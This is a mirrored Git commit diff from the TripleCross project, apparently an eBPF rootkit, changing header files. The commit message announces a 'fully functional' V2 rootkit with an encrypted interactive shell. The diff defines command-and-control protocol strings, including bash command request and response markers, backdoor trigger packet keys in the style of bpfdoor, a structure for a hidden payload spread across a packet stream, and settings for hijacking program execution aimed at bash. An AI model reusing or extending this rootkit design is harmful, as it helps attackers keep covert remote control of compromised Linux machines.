mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-25 02:43:07 +08:00
Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional
This commit is contained in:
@@ -1,14 +1,18 @@
|
||||
#ifndef __BPF_CC_H
|
||||
#define __BPF_CC_H
|
||||
|
||||
//C&C V0
|
||||
//C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
|
||||
//Protocol messages are also used in the secure channel of V2 & V3 backdoor
|
||||
#define CC_PROT_SYN "CC_SYN"
|
||||
#define CC_PROT_ACK "CC_ACK"
|
||||
#define CC_PROT_MSG "CC_MSG#"
|
||||
#define CC_PROT_FIN_PART "CC_FIN"
|
||||
#define CC_PROT_ERR "CC_ERR"
|
||||
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
||||
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
|
||||
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
|
||||
|
||||
//C&C V1 -- bpv47-like trigger + encrypted shell
|
||||
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
|
||||
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
|
||||
@@ -17,7 +21,7 @@
|
||||
|
||||
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
|
||||
|
||||
//C&C V2 -- Distributed hidden payload in packet stream
|
||||
//C&C V3 -- Distributed hidden payload in packet stream
|
||||
struct trigger_t {
|
||||
unsigned char xor_key;
|
||||
unsigned int ip;
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
//EXECUTION HIJACKING
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||
#define EXEC_HIJACK_ACTIVE_TEMP 1
|
||||
#define EXEC_HIJACK_ACTIVE_TEMP 0
|
||||
|
||||
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
|
||||
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1
|
||||
|
||||
Reference in New Issue
Block a user